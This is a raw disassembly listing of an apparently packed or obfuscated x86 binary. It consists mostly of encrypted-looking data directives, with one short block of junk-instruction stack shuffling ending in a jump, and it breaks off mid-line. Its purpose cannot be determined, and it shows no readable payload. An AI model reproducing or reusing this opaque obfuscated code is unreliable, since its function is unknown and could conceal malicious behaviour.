0ADD9F0AAh, 9E9730AFh, 99FB0168h, 2227E1C7h, 0D2E946CAh dd 72A4CFAFh, 1DF64926h, 0E6179B06h, 4688B69Fh, 0BA00000Dh dd 2CFE18D2h, 0A1738D45h, 18EA04BCh, 8B5D772Fh, 80D5EFA9h dd 4600E257h, 0BC765A2Ch, 35EDD0A2h, 0A963491Bh, 0A1C4AF8Fh dd 21D37F10h, 2B5AF466h, 9A748B45h, 0FDF4F9B1h, 0C6ACAAF7h dd 0A1347DA0h, 8B4A29BAh, 0BAA14968h, 37E23529h, 0F712878Ch dd 797F391Dh, 1551AF04h, 3E5434E6h, 777h, 0F04FD188h, 3A779AD9h dd 1729BAA1h, 31005F6h, 0BF9659h, 0B9F9D4DDh, 0AC57AA29h dd 3B2447A6h, 0BB2E5D12h, 91775168h, 2C31E9D0h, 9E708A35h dd 0B2F9FEB8h, 21D2E4FBh, 465DDA46h, 72C75B23h, 0B18ADD26h dd 0E61739A0h, 9626543Dh, 6A00000Ch, 0DCAEC882h, 51233DF5h dd 0C89AB46Ch, 3B0D27DFh, 30859F59h, 0F6B09287h, 6C260ADCh dd 0E59D8052h, 5913F9CBh, 51745F3Fh, 21D37E60h, 2B0AA416h dd 88868B45h, 6EE3E8A2h, 0C0F11453h, 0B629BAA0h, 8BE85D63h dd 641E02DCh, 0E62A585Eh, 0D4455434h, 8F000006h, 0BAA0D0E2h dd 90AF7129h, 0BA465679h, 0E93C2E5Dh, 5112F8D2h, 0B7AEB36Dh dd 3A20F20Ch, 0D9DE9679h, 462037E2h, 0ABA2A75Fh, 100058A5h dd 676C260Ch, 8BAEC570h, 267392EFh, 0F4575D09h, 690126FFh dd 716AE5BEh, 927BE617h, 0BF464h, 6A240C00h, 0DF977E50h dd 560EF3C5h, 0C9816A3Ch, 41FBDDAFh, 34E9D227h, 0AC7E9852h dd 22F40EC8h, 9B6D873Fh, 1E1FBB5h, 7DBEF316h, 46B821D3h dd 6487C6ACh, 29BAA14Dh, 0D6D0D629h, 333136F0h, 0F0AA8C4Dh dd 58FD9BEBh, 0C6C8B11h, 49B1B661h, 7359A300h, 85C19FB9h dd 0AE5434FFh, 17Ch, 1F452BF8h, 0BAA0B5FCh, 4901E629h dd 1C764D44h, 2BD68139h, 88422826h, 0FBB59771h, 97F9FFF6h dd 6F86A56Bh, 5AA7B24Ch, 6C71C42Eh, 0DA9A8825h, 0FF54B521h dd 0D4E065A1h, 558E53h, 0D1D80000h, 9AD9F04Fh, 0A079385Bh dd 0B20529BAh, 0BAA0FAB7h, 7F318429h, 7EDDE39Dh, 5AA0975Bh dd 898EE12Eh, 0A96A4C26h, 0D0409C3h, 94195C62h, 0A921DA9Fh dd 0B5FC1F5Eh, 0C121DA9Fh, 9EF3686Eh, 3A48BBE7h, 0C38640F6h dd 70762E11h, 0D4953C6Ah, 0D25753h, 2BA10000h, 0E59D8445h dd 5537353Ah, 2245849Bh, 29BAA08Fh, 0CB13BE7h, 0C0823F9Dh dd 0C4C20F15h, 813B1DDEh, 4B6E857Ch, 29BA5366h, 0D12BD10h dd 9E16290Fh, 730AA8DAh, 0A1D8F29Dh, 252AE2C7h, 82874127h dd 97DAE08Bh, 29B9E630h, 0EDA58C66h, 0B7DAF1E8h, 29BA11FAh dd 312B3184h, 0AF02254Bh, 0C729BA11h, 27DFC274h, 69802B22h dd 0D8EFA98Fh, 0BA11FCB5h, 292F8229h, 0B6759BC7h, 89807C9Fh dd 0A3F62E57h, 16D0B28Ch, 8E482AFCh, 0F1D640B5h, 3E6C55EDh dd 0A6Dh, 0D7F1AB93h, 4C661E05h, 0C3DD957Ah, 365008F1h dd 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h, 3C22F40Eh dd 9D886882h, 0D37C377Ah, 33CD3F21h, 758F492Bh, 19FCBDA3h dd 0A29CB661h, 868B452Bh, 0A7664923h, 575C07C1h, 7A605A60h dd 0ACA4A6C0h, 3A000004h, 0D9F04FD1h, 5A92B4B6h, 0D2D72A2Eh dd 0DA6F228Bh, 65BA1B21h, 0D4D8DB07h, 55ED1953h, 0FC9AF10h dd 0F8CA8F0Bh, 20F6EF2h, 0A17B0000h, 0A0106BEh, 0ECC6E204h dd 5484E08h, 29BAA0AFh, 9CB370A0h, 5DBA0979h, 0F6A3CF2Eh dd 7CC21856h, 0CD203F45h, 3CF6DCB6h, 2A0CE625h, 79746B70h dd 21D2EC38h, 4802E43Eh, 0FE35979Dh, 0BE4F8CD2h, 787E6F0Bh dd 0D9DE987Eh, 89A09F81h, 0A8D61E4Ah, 0C30F7C00h, 0DA007ABDh dd 23762672h, 177BDB4Ah, 0DD0BF4E6h, 985h, 0BFD9937Bh dd 344E06EDh, 0ABC57D62h, 1E38F0D9h, 96B06A4Ch, 0C1A39841h dd 371BED07h, 0AE91637Dh, 240ADCF6h, 8570506Ah, 0D37B4F62h dd 1BB52721h, 868B452Bh, 0F0C1E423h, 8629BAA0h, 0E59F8133h dd 0E9E3E9E0h, 0DC444903h, 33EDCFA9h, 0DCE19B81h, 156ADFE5h dd 485A325Eh, 5C874DE4h, 0BC765C56h, 2DE7CBA5h, 0BBE7C527h dd 0F9543423h, 7D833D1Fh, 130F9h, 452B4300h, 0DEE39B84h dd 4B253CE7h, 5CA9AF69h, 2F52785Eh, 29BAA082h, 0E6A5A9FCh dd 4D4A20EFh, 0C1F812BDh, 3DF20595h, 4127C56Dh, 0E08B8287h dd 9D9A86DAh, 0EA9B6386h, 439D2E59h, 0A79EA35Dh, 0FDB0F7FCh dd 4021D9E5h, 0FE2C82DFh, 1953D45Dh, 50h, 6487C663h, 29BAA14Dh dd 7CD0D629h, 5D809794h, 2E5AA095h, 0C53D3FEBh, 675F1C29h dd 3D70B7BCh, 21DA7Eh, 0B993429Fh, 11171DD7h, 53D4C9D5h dd 9AFEh, 0A9CC0B00h, 21DA7208h, 258CAF6Eh, 5121DA72h dd 193C53FEh, 21DA7198h, 63858BDEh, 868B452Bh, 0E7ECA688h dd 444903E9h, 8CA66046h, 0BAF24671h, 0C9836929h, 9E9D83AFh dd 0C5986487h, 9BEE2E57h, 0EC8AA84h, 2D4022F4h, 84981DAEh dd 97701BE7h, 0EDF1CE2Eh, 2E34624Bh, 0D2000008h, 441630EAh dd 0B98BA55Dh, 30021CD4h, 0A3758F47h, 98ED07C1h, 5E18FA2Fh dd 0D48E7244h, 4D05E8BAh, 0C17B6133h, 0B9DCC7A7h, 21D379F8h dd 2B720C7Eh, 9E788F49h, 2F9FEB8h, 0E2C89AFCh, 2B140E28h dd 88868B45h, 0CCCEE8A2h, 273h, 0F04FD162h, 5F19FFD9h dd 0FE5D635Ah, 5DBA61DBh, 0BFC4172Eh, 0D3863578h, 0E3BD0821h dd 0CC414701h, 0F1ED1977h, 30653D3h, 13000002h, 0A937FDE7h dd 0C9CECB5Ch, 0FBB8BC97h, 86A8AE7Bh, 0BAA0D2E2h, 8EAD7329h dd 5E0C3877h, 1ECF5082h, 0AB89CCD2h, 912E5D55h, 0C1F01352h dd 0BD21D322h, 23426F6Ah, 0E93C21D3h, 5A71C4E3h, 0C6E09A80h dd 4F540EF4h, 0DD29C0ECh, 26C7E107h, 0E744CC20h, 436E91D0h dd 3B21D388h, 6083E2E8h, 2673951Ah, 0F5482174h, 6E616B6h dd 747EF1Dh, 0D1B90000h, 442BFD17h, 0BBA0728Ch, 2E17E903h dd 0A88A5C76h, 567FD4EEh, 2B45FFE1h, 0A1BB7559h, 1A34ECCFh dd 8EA86248h, 11A0C3AEh, 6D21D379h, 452B61FBh, 0A288868Bh dd 0EF7D1E8h, 435A5156h, 0BAA09120h, 949AED29h, 3996DF47h dd 12CCB08Ah, 1610160Dh, 255C7630h, 0A0EEC3E6h, 358829BAh dd 0EAFD292Fh, 2B165434h, 23000001h, 0A8AD6749h, 2B89ABB1h dd 48748B45h, 0C6A668A8h, 6535924h, 4E682208h, 9E563D17h dd 5FDC4498h, 0B1D92548h, 0C5F2E59h, 0ADEDC007h, 0EF5021D9h dd 150E3C92h, 422953D4h, 73000000h, 6E974FD1h, 28E985Dh dd 2C4F6611h, 2E5A46C6h, 0C3B1C4F0h, 5D611B01h, 0A7590F56h dd 0E5040AC2h, 67468D92h, 0D621D9ADh, 10C8B18Bh, 0E238950Ah dd 53D41EA4h, 9DCFh, 1B02DC00h, 61675E63h, 8B452B3Fh dd 0ECA68886h, 665884E7h, 7E9A20D2h, 270D070Dh, 846A686Dh dd 1027E1C3h, 0B9A1C4EDh, 0BC67BA29h, 0DC2087A2h, 957B29B9h dd 8B95C1DBh, 8A7295ACh, 0C02E5793h, 38C23694h, 0D4DACAC7h dd 0C4B62B5h, 92974F32h, 0B99B959Bh, 3113E5FFh, 3A519E77h dd 7D66EDF2h, 6044Fh, 5A14FC00h, 0CF876E40h, 46FEE3B5h dd 0B9715A2Ch, 31EBCD9Fh, 2419C217h, 9C6E8842h, 12E4FEB8h dd 8B5D772Fh, 0F1D1EBA5h, 77CEE306h, 36A821D3h, 8F492B9Ch dd 3BDA375h, 452BEFE9h, 0E423868Bh, 0BAA0F0C1h, 2D338629h dd 79934D33h, 4677h, 452B0D00h, 0A288868Bh, 3C40F8E1h dd 63B2809Ch, 868B36CBh, 92B5F413h, 29B9F41Fh, 5204AB57h dd 69C13E3Ah, 0EE43B8BEh, 687B5D37h, 0E64D3823h, 393EE932h dd 66563E42h, 5737C000h, 0B7715751h, 319B9Dh, 2B310000h dd 3F868B45h, 29BAA16Fh, 8C91492Eh, 0EAEFA78Eh, 276AC7F4h dd 2197C31Eh, 0B54D4D78h, 0A5AA6247h, 88FD03AEh, 3AFBE12Bh dd 9F969B53h, 2BE0DAF4h, 2E868B45h, 0EF2E45E2h, 70752F15h dd 0F0307379h, 662E5DB9h, 862D84A7h, 0F64921D3h, 3E390CF2h dd 0B8630F50h, 643662A1h, 4231DE0Fh, 711CD4BDh, 0D18B716Bh dd 45FFE5B7h, 0B971542Eh, 20E66B3h, 0EAEB0E25h, 4C26760Bh dd 2208E2F9h, 967C4E68h, 3574D7DCh, 0B9EB9F12h, 601AFC29h dd 3A8D645Bh, 8730E034h, 80DC7ADh, 0EB9B1611h, 89E329B9h dd 943FEAA2h, 7F643E7Dh, 0C5CBC2C7h, 59CEF082h, 0DAB3062Eh dd 0EDF03093h, 0AE95C3ACh, 52000004h, 0C496B06Ah, 390B25DDh dd 0B0829C54h, 23F50FC7h, 186D8741h, 0DE987AAFh, 540EF2C4h dd 0CD85683Ah, 41FBE1B3h, 395C4727h, 21D37578h, 2BF28CFEh dd 3A718B45h, 0BBC07A60h, 0DEC4BEC4h, 7DBC1F24h, 0BAA1575Ah dd 0C6CC1F29h, 272CE6CCh, 734D8CBFh, 0D7CED38Dh, 0BAA0D5DCh dd 484EA129h, 462C7ED3h, 0B59B758Ch, 0F9FFF6FBh, 0EA8DB997h dd 4FA65434h, 0B3000000h, 383DF7D9h, 94FFB2D5h, 247729BAh dd 5AAE7579h, 5832F198h, 4FD13052h, 1FB6D9F0h, 972E5AEFh dd 70532D44h, 3B679EB8h, 6FACEF82h, 0D1141A7Fh, 21D9DEDEh dd 0A21DBC1h, 97394C30h, 0DD06C796h, 86E8EE99h, 1419D1B4h dd 3ECE6h, 452B7C00h, 0A288868Bh, 7EA2CEE8h, 7787AAC1h dd 12E5AA7h, 15E46D55h, 0D17CF4EBh, 1C2885CCh, 0CA1521DAh dd 4B5109F0h, 0E72379D6h, 3553D463h, 0B5BA725Bh, 13822F52h dd 0A9FC21DAh, 4F74F8FEh, 81000000h, 50BC5A7h, 0F04FD1E3h dd 416E9AD9h, 2CE4CDE9h, 2560A228h, 0EF16DC1Fh, 0A1602E59h dd 262BE5C7h, 0F07D342Fh, 0A6F921D9h, 4FE51DA2h, 0BE690366h dd 0D43B72B9h, 0A10221D9h, 27B0EE4Ch, 0F1DB53D4h, 0E8000000h dd 0C82B86A9h, 5321D9h, 452BD8FAh, 0A688868Bh, 4045FFE5h dd 0AD879E49h, 6B2308C9h, 0BFC46F66h, 3024C4C8h, 8FFB040Ah dd 583E3C89h, 5C36999Eh, 0BDB7BD75h, 7B3316D7h, 407FB6D0h dd 0BA61941Dh, 9197EA29h, 0BA66894Eh, 86402629h, 0FAB49A6Ch dd 0B4739DF5h, 4A38719Dh, 586CCD02h, 56D0F352h, 102E59DDh dd 0ED7AA6BDh, 0AD2FBFB3h, 251AE917h, 0BB6FA25h, 0A977A305h dd 0A650738Ah, 0A026779Ah, 0D819D674h, 353B28A4h, 0D2ACC316h dd 0E01F36F0h, 0B87FF4BDh, 0A8CB8A29h, 29B88009h, 71772275h dd 0A15B3D0Fh, 11C207C8h, 8DBBA4E6h, 2B5h, 8FA9634Bh, 41ED6BDh dd 7B954D32h, 0EE08C0A9h, 66803A1Ch, 9173A811h, 7EBBDD7h dd 7E61334Dh, 0F4DAACC6h, 5540203Ah, 0D3737F32h, 0EB85F721h dd 758F492Bh, 0E903BDA3h, 3DF5D8B2h, 193B4138h, 0D9F04FD1h dd 5AA03CB6h, 0C2A8822Eh, 60C0308h, 488F94E7h, 21DAA065h dd 0C41A77D8h, 53D4EB86h, 0CCB1h, 2E4BE00h, 2B204248h dd 23868B45h, 0A8AD6749h, 0CFB1ABB1h, 0D3AD1015h, 382F34ECh dd 0E1E6A086h, 36A1E4EAh, 0B929BAA5h, 0C30219D3h, 4E4903E9h dd 29BA9D63h, 60C2C81Bh, 0E9EEA88Eh, 99B08F91h, 5A7EB076h dd 3C53A62Eh, 34577B62h, 21DA797Dh, 0F5FBA6F9h, 7AB96793h dd 0F1174063h, 156F2677h, 0D28C7031h, 8B657C27h, 0FED8EFA9h dd 0F5575D15h, 45FDE4BEh, 49434940h, 29D4AD67h, 0BAE6123Fh dd 1CBA3D1h, 4D350000h, 0C0A77993h, 371CEE08h, 0AA93657Fh dd 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh dd 0A24DEC4h, 951C3F2Ah, 0E121D372h, 492BD56Fh, 643E758Fh dd 71C1C680h, 3C04333Ah, 0DAE08B69h, 2640FAE0h, 3ECC62Ch dd 654B454Bh, 6166452h, 0A04B20F8h, 0FDB79D9Bh, 712B11E3h dd 4D2F096Ch, 0D7398D93h, 0A01E4158h, 162E5A64h, 0E19B7D57h dd 0DA5ACBE6h, 0F307B321h, 0CC48DB04h, 0E2F9A44Fh, 676D2508h dd 7B331C1Ah, 0D8927876h, 0D62B60D3h, 39E49E84h, 0BB0D628Fh dd 2A041BD5h, 24868C46h, 210428F8h, 0C26D6469h, 0A9926CABh dd 0EFF5ECF1h, 7A17BAACh, 0E4E93C26h, 593F00E6h, 51FCB698h dd 949E9A4Dh, 974269C7h, 9FB29492h, 0BF2DACF1h, 3035E020h dd 92974F32h, 4A95EA1Fh, 0ED91EE23h, 0CAED0423h, 2E5A0B9Ch dd 0DF9780DAh, 1E38E3DAh, 0A7AC664Ch, 3E1C1844h, 0A0048E2Ah dd 51097DDFh, 107B2E5h, 556C2407h, 0D8DD977Bh, 934D2FE1h dd 1D4A408Dh, 543711C0h, 9AA0979Ch, 0E600BAA0h, 0C2D956BAh dd 0BC5A983h, 671F0806h, 0BAC06B62h, 7A824777h, 797ED126h dd 0D6DB957Bh, 0B25EB3E0h, 7BBAD16Eh, 0D553594Fh, 898F1C0Ch dd 5A697846h, 91ABFE2Eh, 657CBB65h, 56AE0326h, 75C821DAh dd 0E4ED106Fh, 1A267D70h, 0D808EEEEh, 50B1694h, 908E93E6h dd 4D6F0AAh, 0DCD5F81Eh, 0A229B346h, 589FA44Fh, 518DF02Fh dd 0FB4DA2D7h, 2C15EF15h, 0F0387974h, 0EB3EB191h, 6E542640h dd 325E9DB4h, 6B059A3Bh, 0F0C1BC1Ah, 86B1928Dh, 0E2E02D33h dd 463C41F9h, 8C72C419h, 842FE9CBh, 0F8B2986Ah, 3C5F3h dd 245B0000h, 89432B66h, 0E6A08684h, 4800E3E1h, 0A7614543h dd 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h dd 0B6686D7Eh, 89000018h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 7047h mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, 7E71C4Dh mov esi, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push 6E87h mov [esp], ebx mov ebx, 8 add ebx, ecx mov [ebx], esi pop ebx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_554887 ; --------------------------------------------------------------------------- db 2Fh, 0EFh, 0FFh dd 0E72FFAB8h, 0FFC50307h, 1D2C6EE0h, 0E5E2213Ch, 52B04C6Dh dd 79851851h, 1BF8794Bh, 1C25213Fh, 0B8996554h, 3E480032h dd 6083125h, 0BA496511h, 85581032h, 0C61E7749h, 0F03A043Bh dd 0ABD71241h, 0E7D8F714h, 0CE59E743h, 0DB56D86Ch, 58955422h dd 0B9873252h, 9CB43B28h, 25DDD709h, 867C2257h, 208DD268h dd 39046B0Ah, 277FE558h, 5C6BA313h, 9B7A3801h, 0AD836252h dd 5E810h, 464A0000h, 663FC0F9h, 0ABA4DE81h, 0AE95Fh, 0F9350000h dd 30AFE915h, 4EE59C6Dh, 64DEC781h, 68F90000h, 190Eh, 0B8BE6659h dd 5837FF49h, 18A0Fh, 81F50000h, 0DB3F1CE8h, 23BB6611h dd 2DE8813Dh, 0F20AC20h, 28Ah, 8197B700h, 2C57F7F0h, 50F28B64h dd 8E38166h, 0F078FABh, 581h, 357BB00h, 0EF834AD7h, 0AE64BB04h dd 0F495F28h, 1E85h, 38D0F00h, 0F000000h, 25E9D8B7h, 10000000h dd 233B6E9Dh, 25AC0F00h, 7DFA9DC4h, 66547894h, 5001D681h dd 0FFFF8CE9h, 99A103FFh, 0BC8C8CFCh, 803AAC2Eh, 75985C6h dd 685607E0h, 0A9C530DFh, 292DB5FFh, 858D07E0h, 7E37FE8h dd 8D8DD0FFh, 7E00585h, 0FF406A51h, 0E0209DB5h, 0E9B5FF07h dd 0FF07E023h, 9DB5FFD0h, 0FF07E020h, 0E023E9B5h, 0EE807h dd 0B9160000h, 851C15Fh, 1A40D0FEh, 0B723FA8h, 0EA835A5Ah dd 242CC104h, 2424C102h, 24140302h, 0BF241CF7h, 0 dd 813A0C8Bh, 0A57DF7F1h, 96C18139h, 815B6B28h, 0D296ADC1h dd 3A0C897Ah, 0CECEEF81h, 0C781638Eh, 638ECECAh, 0F243C3Bh dd 0FFFFD385h, 0ED9D8DFFh, 8B07E001h, 0FC00B03h, 784h dd 8B038B00h, 1889045Bh, 5E8C98Bh, 0FF000000h, 3A2D71E0h dd 4890Fh, 0BE660000h, 6658F653h, 81E05ABAh, 61F0C0h, 3800F00h dd 0F000000h, 68D1BFh, 8B000000h, 800F59D8h, 18h, 0FE8h dd 5A4F7600h, 25925D14h, 2FBD3C6Ah, 91D126D7h, 5BDA8B66h dd 66083C8Bh, 0EF81D98Bh, 7CE29FA2h, 2EF5B960h, 8E8661Ch dd 0C8000000h, 2E5CF9AAh, 5005740Ch, 81615E5Bh, 934798F7h dd 28D0F71h, 8B000000h, 31EF81D0h, 0E8435530h, 0Eh, 6FEBB6C9h dd 0F4414B4Ah, 60AE3B4Bh, 0DE94007h, 36000000h, 1E267A05h dd 0B2130FCDh, 6E1C211Eh, 83C895Ah, 1C82F281h, 0BF0F1DDAh dd 2E983F3h, 58E38166h, 0F494969h, 68Dh, 890F00h, 81000000h dd 0FF9F14F9h, 13850FFFh, 60000000h, 51A9E381h, 0E96157EAh dd 27h, 62FF123Ch, 0F60D5D1h, 38Bh, 0C9B70F00h, 92C08166h dd 4DE961AEh, 0DDFFFFFFh, 0DC119474h, 0E641CDF0h, 0E9ABF6A0h dd 25h, 0ADF64AFh, 8 dup(0) dd 50EE900h, 8B680000h, 0E907E734h, 0FFF94D4Fh, 0E7351D68h dd 4D45E907h, 8668FFF9h, 0E907E736h, 0FFF94D3Bh, 0F29E3CBh dd 849E563Dh, 0FB15CDB2h, 6E884029h, 0E600BA9Ch, 11F32891h dd 876B3D57h, 0FEE1B3CDh, 745A2C46h, 0D5C0A0BAh, 0D36DFFB2h dd 2E057721h, 0EDFFCE02h, 0D360E7CAh, 383C8F21h, 0F0A2F2FFh dd 2A4C520Ch, 788F492Bh, 259D1B4Ch, 0FB01917Eh, 10CAB0AEh dd 0E946CAF6h, 19A7AFD2h, 0CE212E5Ah, 122B82C9h, 897021DAh dd 0E5CECCD1h, 41F6282Dh, 3091A1ECh, 0B7F824D3h, 517491DEh dd 87C3C9CFh, 0B053D44Bh, 324h, 0F0B0B3FAh, 0ADEC0320h dd 2D33EDD3h, 5AA57CEAh, 784EFA2Eh, 2C3FF201h, 230ABF6Ah dd 0CCFF8223h, 6C83A070h, 0D56C6549h, 1D671333h, 0B52C49D5h dd 8FE7EC97h, 688BA281h, 30F4B35Dh, 143F6D99h, 2D3B9A07h dd 9EB50827h, 0D24DEC4h, 0AD915033h, 0E04248F3h, 956E280Eh dd 0E095969Dh, 66A3D1BAh, 0B6000003h, 28FA14CEh, 9D6F8941h dd 14E600B8h, 8759732Bh, 7CD1EBA5h, 42FCDE53h, 0B8725628h dd 31E9CC9Eh, 0A55F4517h, 9DC0AB8Bh, 21D36D14h, 0D15EF86Ah dd 0B6D9F04Fh, 2E5D91B3h, 2889ACEBh, 4E21D36Eh, 17D6F5FBh dd 0D36DBDF4h, 4F66B921h, 0D36D852Ch, 0F39EF121h, 5F2002DCh dd 20D8BD7Ch, 7479241Bh, 0E1BBD27Dh, 494045FFh, 2D0FE143h dd 6DCDE407h, 56A921D3h, 6943A6ABh, 0CEC5CA82h, 2B4785C8h dd 0FCE2CE5Eh, 6C876942h, 0AF98DE28h, 2D481h, 0A6604800h dd 1BD3BA8Ch, 924A2F01h, 5BDA678h, 7D3719EBh, 70A50E63h dd 0E8BAD48Eh, 5E304A04h, 0D7A9C37Bh, 3D1D37F1h, 6B822F52h dd 8AFC21D3h, 9ECC6F0h, 4F554C51h, 0FF1615FBh, 5D918DDCh dd 0CCAF892Eh, 12180F14h, 389BA0F3h, 10C27C5Eh, 746B702Ah dd 6D822B6Eh, 5ABB21D3h, 0D57BA705h, 0C99453D3h, 0DE000001h dd 868B452Bh, 0D1E8A288h, 0A1426F92h, 7D6129BAh, 9399ECC3h dd 1C1B0531h, 0A71CE205h, 0C71A2E5Ah, 9B327BC2h, 0AA0B21DAh dd 0DFC49E55h, 792B2227h, 0CED4DA92h, 53D4E090h, 45BBh dd 4FD10500h, 5B9AD9F0h, 0BAA07938h, 0ACB20529h, 5AA08969h dd 0F0D5AF2Eh, 822ED4DFh, 0EE999B0Eh, 7176C9E8h, 5ACCF0Eh dd 7121DA46h, 0CD856C1Eh, 88CBD1C8h, 21DA4625h, 45AB718h dd 53D4B1C6h, 0BAF1h, 452B3B00h, 0F723868Bh, 3BC23F84h dd 7E787EE1h, 8CCBE29Ch, 0BA6F4869h, 0D5DB2E29h, 0EAA48A88h dd 4701E7E5h, 0B8725630h, 54B6BCB3h, 0BA72B239h, 41674D29h dd 0C5CA8267h, 6ADED3CEh, 459829BAh, 6AA60B2Eh, 7DD029BAh dd 4281B8D2h, 0BA6A921Fh, 0A992EC29h, 0EC4046F1h, 0CDF00724h dd 2E57E22Fh, 0CFFB1265h, 47CE04B0h, 0B3984AB8h, 0BC96F5FBh dd 340620DAh, 0E3BF9852h, 0F8EDF267h, 16BE10Fh, 0C9B10000h dd 3C23F50Fh, 0B3986A84h, 260FE1FBh, 0A082546Eh, 4E77CCE6h dd 233DF7D9h, 99B36D51h, 122CE4C7h, 86A05A40h, 1998BBA6h dd 6521D36Bh, 492B59F3h, 0BDA3758Fh, 2BEFE903h, 48748B45h dd 0B88F37A1h, 775D0F71h, 76AB7BDh, 4B6689C8h, 3329B9D9h dd 0D8CCE5E0h, 6B229B9h, 8EEAEF4h, 0CAD07B39h, 1930EAD0h dd 0E18CC9EDh, 0D0B2762Eh, 6F1A1116h, 0F6D00769h, 5A515610h dd 13100054h, 3FCD9FCh, 277A2E5Ah, 8B6AE410h, 0ADA72A14h dd 2F0948A7h, 5FF33748h, 0C5D8B3Bh, 7F615B61h, 1D90ABC5h dd 7E21DA7Eh, 0F2C4DE98h, 0EE515610h, 89702F14h, 2A2126D1h dd 0AFFA24h, 27530000h, 8A2B3E03h, 0E5070D25h, 0D9F04FD1h dd 0A13A779Ah, 0F14429BAh, 0FC698CEBh, 7A2E5D91h, 3E242227h dd 0B2986A84h, 7ACF3F8h, 1F1C9BCAh, 5D4395EAh, 0D1B789A3h dd 6D722C10h, 753C5F76h, 11EDB31h, 0FE03AEh, 0C4A30617h dd 0AECC2D8Dh, 1D00FE03h, 7CDBD6F9h, 50A31EDBh, 0BFA2A0A5h dd 1BD00207h, 0A4D17BC6h, 3659984Fh, 1EDB7C7Bh, 0B0AAB003h dd 0BAF910CAh, 0DB7D1A97h, 6EDF371Eh, 0AC161B67h, 1A7C82D5h dd 0A3A86248h, 50AA1440h, 0E785EBD4h, 4D444903h, 12729CA2h dd 8000000h, 0E40AECC6h, 0BAA0F0C1h, 88338629h, 85868C83h dd 89432BC7h, 0E6A08684h, 4800E3E1h, 0A7614543h, 8C2A4A2h dd 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h, 89516D7Eh dd 4C181E1h, 83000000h, 0C3304E9h, 240C3124h, 5C240C33h dd 295668h, 24148900h, 5E08950h, 4, 42Dh, 24048700h, 241C895Ch dd 33A0BD55h, 0EA8907E7h, 81242C8Bh, 4C4h, 1C8B5400h, 4C48324h dd 31E168h, 24148900h, 0FF08438Fh, 815B2434h, 4C4h, 24148B00h dword_5C0024 dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F9484EE9h, 4CDFF0FFh ; DATA XREF: ___:0043F2ACo dd 0E73816B8h, 0FFC50307h, 40F5D9E0h, 0DD614531h, 9DD33B15h dd 6DAD028h, 10E826h, 0CB160000h, 0A6F98412h, 0DB640941h dd 0CBF04AD2h, 66573FE4h, 5FB476BAh, 0F6BA6658h, 85C0815Eh dd 0E900006Fh, 11h, 17CA55E1h, 0EDB797E5h, 83B52DFAh, 639F9C7Fh dd 685Dh, 0DF8B0000h, 7DBA5759h, 5F25750Fh, 8108348Bh dd 4CDFAAEEh, 0DF81665Fh, 0C6813548h, 6E5C7A8Dh, 8A4AC681h dd 11E97128h, 61000000h, 8B43F9DBh, 0C1670DE0h, 0E643689h dd 0C6DAB8F9h, 0A00BB56h, 48F704Ah, 4FE28008h, 67BBBF66h dd 6601E983h, 50D3EF81h, 66494949h, 81B6AEBAh, 0FF911CF9h dd 0A5850FFFh, 66FFFFFFh, 8DBF75BAh, 0E739F68Dh, 0AE907h dd 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah, 18B0E281h, 8D89458Eh dd 7E01815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 5C35343h, 7E3C7D92h, 1B91B589h, 85C707E0h, 7E02049h dd 6A40h, 1D099531h, 85C707E0h, 7E022C5h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1DC35343h dd 34CE13CBh, 0BF668714h, 0B5FFFFF3h, 7E00F59h, 0FFF2BF0Fh dd 0E0209195h, 89950107h, 6A07E001h, 0A995FF00h, 8B07E018h dd 7919EBC0h, 88EA5051h, 997960E0h, 479E02A4h, 86984107h dd 955E3966h, 7BB7B5F9h, 10E8h, 0A292C800h, 3164EF0Eh dd 0C0C87901h, 1928B634h, 7E82Bh, 0D0DB0000h, 2BEF9BE7h dd 0B9B5893Bh, 5E07E019h, 0D9BE665Bh, 0B5C381F6h, 66000074h dd 0BAE30AB9h, 1CF5h, 33FFC78Ah, 5FC18B66h, 13E9h, 0CFE07D00h dd 8E1FE852h, 0B6B44FF0h, 0DA5B6BA8h, 1AFAE887h, 4915F781h dd 86B4449Ch, 0D981F781h, 850301F2h, 7E01BA9h, 9B87EF81h dd 0B50139F5h, 7E033F5h, 85093B89h, 7E026B1h, 503EB81h dd 816602BFh, 815D8ADEh, 0BF04FFC3h, 15858B02h, 8107E020h dd 1EAh, 16850F00h, 8B000000h, 0E019FDB5h, 38E907h, 893C0000h dd 33F1AC7Bh, 0B9C5ED78h, 12E86Ch, 49EE0000h, 88CFF61Ch dd 0A84299AFh, 4551F4B7h, 1698F1E3h, 7FD9589h, 0E95907E0h dd 0FFFFFF5Eh, 1097B82Ch, 0AC3F8269h, 12E8F4F5h, 0C000000h dd 3219B1EDh, 0FBF385CEh, 5298FD8Ch, 7DBB918Bh, 0B185036Bh dd 5B07E013h, 0C381D68Bh, 6244h, 10E9h, 66A88B00h, 23A428BBh dd 0AEA0AE7Bh, 0D678F6BFh, 0A322BE40h, 0EE81375Ah, 375A8AC3h dd 1C65B589h, 33FF07E0h, 0E95FE68Ah, 0Bh, 222E5AE9h, 6022CD03h dd 81B578ABh, 50F4E5EFh, 958D8B3Dh, 8107E008h, 0AAA62C7h dd 0DE86Fh, 65F0000h, 15D25C5Dh, 594C1094h, 663EEE98h dd 8158D18Bh, 0D5F0EFF7h, 13E85Ah, 28670000h, 3B92E390h dd 0D8B4C977h, 47475E9Bh, 634A77A6h, 6860F9Eh, 89000000h dd 0E00445BDh, 3B895807h, 2F39BD89h, 0EB8307E0h, 0F2816604h dd 0F4EB005h, 0FFFF8185h, 0E19501FFh, 0E807E023h, 8, 9A4050C7h dd 3F7A9467h, 1A31958Bh, 565907E0h, 5A58F857h, 5CF5C181h dd 